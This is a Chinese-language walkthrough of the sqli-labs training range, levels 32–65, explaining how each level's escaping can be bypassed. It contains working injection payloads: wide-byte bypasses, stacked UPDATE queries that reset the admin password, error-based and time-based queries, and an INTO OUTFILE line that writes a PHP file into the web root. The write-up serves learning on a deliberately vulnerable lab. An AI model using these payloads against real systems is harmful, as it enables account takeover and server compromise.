**注意:**level 32~level 37都是转义特殊符号来达到防止SQL注入,考察的是宽字节注入,注入手法都类似,不再过多详述

37、level 33

这里效果与level 32 一致,只不过这里转义字符的函数换成了addslashes。

sqli-labs靶场分析_第167张图片

addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线(\)与NUL(NULL字符)

这里注入可以参考level 32,二者注入效果一致。

sqli-labs靶场分析_第168张图片

38、level 34

这里post提交参数,也是使用addslashes() 函数转义特殊符号。可以参照level 32、33,它们一样的效果。

sqli-labs靶场分析_第169张图片

同样可以使用宽字节绕过,

uname=Dumb%df' union select 1,user() --+&passwd=Dumb&submit=Submit

sqli-labs靶场分析_第170张图片

39、level 35

这里同样是addslashes()函数转义

sqli-labs靶场分析_第171张图片

但是id是一个数字型的变量,不需要单引号闭合。所以这个addslashes()函数转义过滤没有意义。

id=-1%20union%20select%201,2,database()%20--+

sqli-labs靶场分析_第172张图片

40、level 36

这里使用单引号闭合同样被转义,但这里使用的是mysql_real_escape_string 函数。

sqli-labs靶场分析_第173张图片

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

sqli-labs靶场分析_第174张图片

使用宽字节绕过即可

id=-1%df%27%20union%20select%201,2,database()%20--+

sqli-labs靶场分析_第175张图片

41、level 37

这里是post传参,和level 34非常像,不同的是使用了同level 36 的mysql_real_escape_string函数转义特殊字符。

sqli-labs靶场分析_第176张图片

同样设置了gbk的编码方式,可以使用宽字节注入

uname=Dumb&passwd=Dumb%df' union select 1,database() --+&submit=Submit

sqli-labs靶场分析_第177张图片

42、level 38

测试的这里为单引号闭合

sqli-labs靶场分析_第178张图片

测试这里除了联合查询、布尔盲注、延时注入、报错注入外,还可以使用堆叠注入。

堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法。

在这里插入图片描述

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

示例:修改admin密码

原密码

sqli-labs靶场分析_第179张图片

堆叠查询修改

id=8%27;update%20users%20set%20password="duidie"%20where%20username="admin";%20--+

后端执行的SQL语句

$sql="SELECT * FROM users WHERE id='1';update users set password="duidie" where username="admin" ;--+' LIMIT 0,1";

在这里插入图片描述

成功修改

注意:从level 38到45都是主要考察堆叠注入,38到41是差不多的类型,42到45时登录场景的堆叠注入

43、level 39

经测试这里为数字型注入

sqli-labs靶场分析_第180张图片

与level 38一样,这里同样使用了mysqli_multi_query函数,允许多个SQL语句一起执行

在这里插入图片描述

可以使用堆叠注入(其他注入手法也是可以的)

id=8;update%20users%20set%20password="leve139"%20where%20username="admin";%20--+

成功修改

sqli-labs靶场分析_第181张图片

44、level 40

这里关闭了报错,根据前面的经验来看这里应该是使用了单引号括号闭合

sqli-labs靶场分析_第182张图片

熟悉的mysqli_multi_query函数,这里依旧可以使用堆叠注入,除闭合方式不同、40关闭了报错回显外,同level 38、39一样

sqli-labs靶场分析_第183张图片

id=8%27);update%20users%20set%20password="level40"%20where%20username="admin";%20--+

成功修改

sqli-labs靶场分析_第184张图片

45、level 41

这里可以看做是关闭了报错回显的level 39。数字型注入

sqli-labs靶场分析_第185张图片

同样使用了mysqli_multi_query函数,可以使用堆叠查询(堆叠注入)

46、level 42

这里是模拟可以使用堆叠注入来修改密码达到登录管理员账户等目的一类场景。

源代码对username参数进行了过滤,但password参数没有,可以注入。

在这里插入图片描述

登录页面由于使用mysqli_multi_query函数,可以使用堆叠注入

在这里插入图片描述

可以先使用其他注入手法获得数据库信息,使用堆叠注入在修改密码

示例:用报错注入获得数据库名

sqli-labs靶场分析_第186张图片

改密码

login_password=41';update%20users%20set%20password="level42"%20where%20username="admin";--+&login_user=admin&mysubmit=Login

虽然密码跳转到错误页面但密码确实改了

sqli-labs靶场分析_第187张图片
sqli-labs靶场分析_第188张图片

成功登录

sqli-labs靶场分析_第189张图片

47、level 43

与level 42 略有不同这里需要单引号括号闭合

sqli-labs靶场分析_第190张图片

同样密码参数未过滤,且可以堆叠注入

sqli-labs靶场分析_第191张图片

改密码

login_password=43');update%20users%20set%20password="level43"%20where%20username="admin";--+&login_user=admin&mysubmit=Login

sqli-labs靶场分析_第192张图片
sqli-labs靶场分析_第193张图片

48、level 44

源代码与level 42相比,这里关闭了报错显示。

sqli-labs靶场分析_第194张图片

所以注入的时候的一个一个猜闭合方式。1’ or 1=1 #

正确闭合万能密码生效,登录成功

注入参考level 42

49、level 45

密码参数1’) or 1=1# 测得闭合方式为单引号括号闭合

sqli-labs靶场分析_第195张图片

源代码同level 43关差不多,这里关闭了报错回显

sqli-labs靶场分析_第196张图片

注入参照level 43

50、level 46

测试发现这里为数字型注入

sqli-labs靶场分析_第197张图片

输入sort值1、2、3会有不同的排序表结果。可以进行desc/asc进行排序,应该是order by排序语句。因此不能使用联合查询,页面有报错回显,可以使用报错注入。

sqli-labs靶场分析_第198张图片
sqli-labs靶场分析_第199张图片

sqli-labs靶场分析_第200张图片

?sort=(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))--+

sqli-labs靶场分析_第201张图片

写入webshell

?sort=1 into outfile "C:\\phpstudy\\PHPTutorial\\www\\webshell.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+

sqli-labs靶场分析_第202张图片
在这里插入图片描述

这里要注意一点,因为要排序。所以会有很多结果,因此会多次写入语句,因此webshell中会有多条写入的phpinfo()

此外这里还可以使用延时注入,但由于结果有很多条的原因。所以延时会比sleep()里设置的要长

这里一共有18条数据,大概延时18秒左右

?sort=1%20and%20sleep(1)

sqli-labs靶场分析_第203张图片
在这里插入图片描述

**注意:**level 46到53源码都是类似的order by排序语句,其中level 50到53还可以堆叠注入

51、level 47

这里测试为字符型注入,单引号闭合方式

sqli-labs靶场分析_第204张图片
源代码除了闭合方式不通过以外与level 46一致

sqli-labs靶场分析_第205张图片

注入参照level 46

sqli-labs靶场分析_第206张图片

52、level 48

这里关闭了报错回显,通过1 and sleep() --+ 测试发现为数字型注入

sqli-labs靶场分析_第207张图片

源代码除了没有报错回显,与level 46一致

sqli-labs靶场分析_第208张图片

注入参考level 46

53、level 49

这里也是关闭了报错回显,根据1‘ and sleep(1) --+发现这里是单引号闭合方式

sqli-labs靶场分析_第209张图片

源代码除了没有打印sql报错,与level 47一致

sqli-labs靶场分析_第210张图片

注入参照level 47

54、level 50

测试发现存在数字型注入

sqli-labs靶场分析_第211张图片

查看源代码发现,与level 46不同的是这里使用了mysqli_multi_query函数执行SQL语句,这个函数可以执行多条以’;'分隔的SQL语句。也就造成了堆叠注入。

sqli-labs靶场分析_第212张图片
sqli-labs靶场分析_第213张图片

这里除了可以使用同level 46一样的报错注入和延时注入外还可以使用堆叠注入

例如:修改admin账号的密码

?sort=1;update%20users%20set%20password="level50"%20where%20username="admin";--+

成功修改

sqli-labs靶场分析_第214张图片

55、level 51

测试这里发现为单引号闭合

sqli-labs靶场分析_第215张图片

源代码与level 50相比多了单引号的闭合

sqli-labs靶场分析_第216张图片

注入参照level 50,但要注意这里有单引号闭合

sqli-labs靶场分析_第217张图片

56、level 52

这里同样关闭了报错,测得此处为数字型注入

sqli-labs靶场分析_第218张图片

源代码与level 50一致,不过这里关闭了报错。可以使用延时注入获得数据

sqli-labs靶场分析_第219张图片

同样这里也可以使用能够堆叠注入,参照level 50

57、level 53

测得此处为单引号闭合的字符型注入

sqli-labs靶场分析_第220张图片

同样使用了mysqli_multi_query函数可以执行多个SQL语句,造成堆叠注入。源代码与level 51一致,但这里关闭了报错

sqli-labs靶场分析_第221张图片

注入参考level 51与level 50

58、level 54

这里关闭了报错回显,通过1‘ and 1=1 --+发现页面正常(也可以直接1’ --+测试)。可知这里为单引号闭合的字符型注入。

sqli-labs靶场分析_第222张图片

这里只有十次机会用联合查询更快(报错关闭了用不了)

列数为三刚好正常

sqli-labs靶场分析_第223张图片

查数据库名,表名

sqli-labs靶场分析_第224张图片

查字段名

sqli-labs靶场分析_第225张图片

查字段内容,大概率是第二个

sqli-labs靶场分析_第226张图片

成功获取

**注意:**这几关主要是挑战规定次数拿到key,考察SQL注入能力。类型都是前面遇到过的

sqli-labs靶场分析_第227张图片

59、level 55

测试发现此处为括号闭合的字符型注入

在这里插入图片描述

列为3

sqli-labs靶场分析_第228张图片

数据库名表名

sqli-labs靶场分析_第229张图片

字段名

sqli-labs靶场分析_第230张图片

查看字段内容

sqli-labs靶场分析_第231张图片

成功获取key

60、level 56

测试为单引号括号的字符型注入

sqli-labs靶场分析_第232张图片

注入过程与level 55一致但要注意闭合方式为单引号括号

61、level 57

单引号测试页面正常,双引号页面不显示内容。但加上注释符后页面正常。此处为双引号闭合方式

sqli-labs靶场分析_第233张图片
sqli-labs靶场分析_第234张图片

注入过程同level 55

62、level 58

单引号测试报错,根据显示符号为单引号闭合方式。

sqli-labs靶场分析_第235张图片

这只有五次机会,可以使用报错注入

节省机会直接获取表名x4uje1yo6x

sqli-labs靶场分析_第236张图片

获得字段名id,sessid,secret_VLMB,tryy

sqli-labs靶场分析_第237张图片

获得字段内容

sqli-labs靶场分析_第238张图片

成功获取key

63、level 59

单引号测试报错,根据报错可知为数字型注入

sqli-labs靶场分析_第239张图片

只有5次机会,报错回显,可以使用报错注入

注入参照level 58

64、level 60

双引号测试报错,根据报错显示可知这里为双引号括号闭合方式

sqli-labs靶场分析_第240张图片

同样只有5次机会,报错有回显使用报错注入

注入参照level 58

65、level 61

单引号测试报错,有报错可知这里为单引号双括号闭合方式

sqli-labs靶场分析_第241张图片

也是只有5次机会,报错有回显,使用报错注入

注入参照level 58 ,注意闭合方式的不同

66、level 62

这里测试闭合方式不太好测试,页面关闭了报错回显。直接单引号测试页面显示异常,双引号括号均不影响页面显示

单引号加上括号后显示正常

sqli-labs靶场分析_第242张图片

且有布尔和延时现象

sqli-labs靶场分析_第243张图片
在这里插入图片描述
sqli-labs靶场分析_第244张图片

这里可以使用布尔盲注和延时注入,参照level 7和level 8

67、level 63

同样关闭了报错回显。1‘ --+页面正常显示,为单引号闭合方式的字符型注入

sqli-labs靶场分析_第245张图片

报错关闭不能使用报错注入,union联合查询不显示到页面。只用使用延时注入和布尔盲注,除闭合方式外同level 62

68、level 64

这里报错也不回显,这里采用了双括号的闭合方式,1)) --+页面显示正常

sqli-labs靶场分析_第246张图片

同样使用延时注入和布尔盲注,出闭合方式外同level 62

69、level 65

与上一关相比这里的闭合方式换成了双引号括号闭合

sqli-labs靶场分析_第247张图片

使用布尔盲注或者延时注入,参照level 62,62到65很像,但要注意闭合方式的区别

你可能感兴趣的:(代码审计与分析,sql,web安全,网络安全)